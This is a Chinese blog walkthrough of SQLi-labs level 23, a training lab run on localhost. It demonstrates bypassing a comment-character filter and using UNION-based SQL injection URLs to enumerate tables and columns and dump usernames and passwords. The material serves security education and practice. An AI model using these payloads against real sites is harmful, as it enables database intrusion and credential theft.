SQLI-labs-第二十三关

第二十三关

目录

第二十三关

1、判断注入点

2、判断数据库

3、判断表名

4、判断字段名

5、获取数据库的信息

6、使用group_concat() 和concat_ws()


知识点:注释符过滤绕过

思路:

分析源码可知,使用了preg_replace()函数过滤了注释符,该函数的用法如下图

那么我们就考虑绕过过滤,意味着我们不能使用注释符,查询网上,可以用 and ’1‘=’1 进行绕过

1、判断注入点

首先正常输入,看看回显

加入单引号

数据库语句报错,根据报错信息,我们可以得知数据库的语句后面有limit 0,1

根据源码,现在的数据库语句是这样的

SELECT * FROM users WHERE id='1‘' LIMIT 0,1

加入注释符

http://127.0.0.1:3306/Less-23/?id=1' --+

还是报错,说明注释符没用

使用 1’ and '1'='1 进行绕过

http://127.0.0.1:3306/Less-23/?id=1' and '1'='1

数据正常回显

http://127.0.0.1:3306/Less-23/?id=1' and '1'='2

数据没有正常回显,因为是and 两边都是真才会回显数据

说明目前可以绕过注释符过滤

拼接后的数据库语句是这样的

SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1

判断字段数

这里使用order by 语句没有作用,不知道为什么,只能使用union  语句

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,3,4 and '1'='1

说明当前的字段数没超过4

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,3 and '1'='1

说明当前有三个字段,为什么是?id=-1 呢? 因为使用union语句,当前一句数据库语句没有结果,才会执行union 后面的查询语句(两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)

这里我们知道原本数据库的闭合方式是怎样的,那一定需要and 1=1吗?

http://127.0.0.1:3306/Less-23/?id=1''

拼接后的数据库语句

SELECT * FROM users WHERE id='1''' LIMIT 0,1

这样的闭合方式是正常的,我们不一定要用and '1'='1 ,在单引号的中间使用union语句也可以进行绕过

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,3 '

注意:id=-1是为了使union语句的左边执行结果为空,才可以执行右边的语句

到这里,我们就知道,目前存在单引号的闭合问题,且注释符被过滤

2、判断数据库

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,database() '

3、判断表名

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select table_name from information_schema.tables where table_schema='security' limit 0,1) '

通过修改limit的值,可以得知表为 emailsreferers、uagents、users

4、判断字段名

以users表为例

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) '

通过修改limit的值,可以知道三个字段为:id、username、password

5、获取数据库的信息

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select username from security.users limit 0,1) '

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select password from security.users limit 0,1) '

通过修改limit的值,就可以获取所有用户的信息


上面使用select 语句的

6、使用group_concat() 和concat_ws()

具体可以参考:SQLI-labs-第一关_1.完成字符型注入 sqli-labs 第一关的攻击-CSDN博客

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' '

 http://127.0.0.1:3306/Less-23/?id=-1' union select 1,2,(select concat_ws(',',id,username,password) from security.users limit 0,1)  '

使用concat_ws需要加上select,不然会报错


这篇文章就先写到这里,哪里不足的欢迎批评指正

  • 18
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值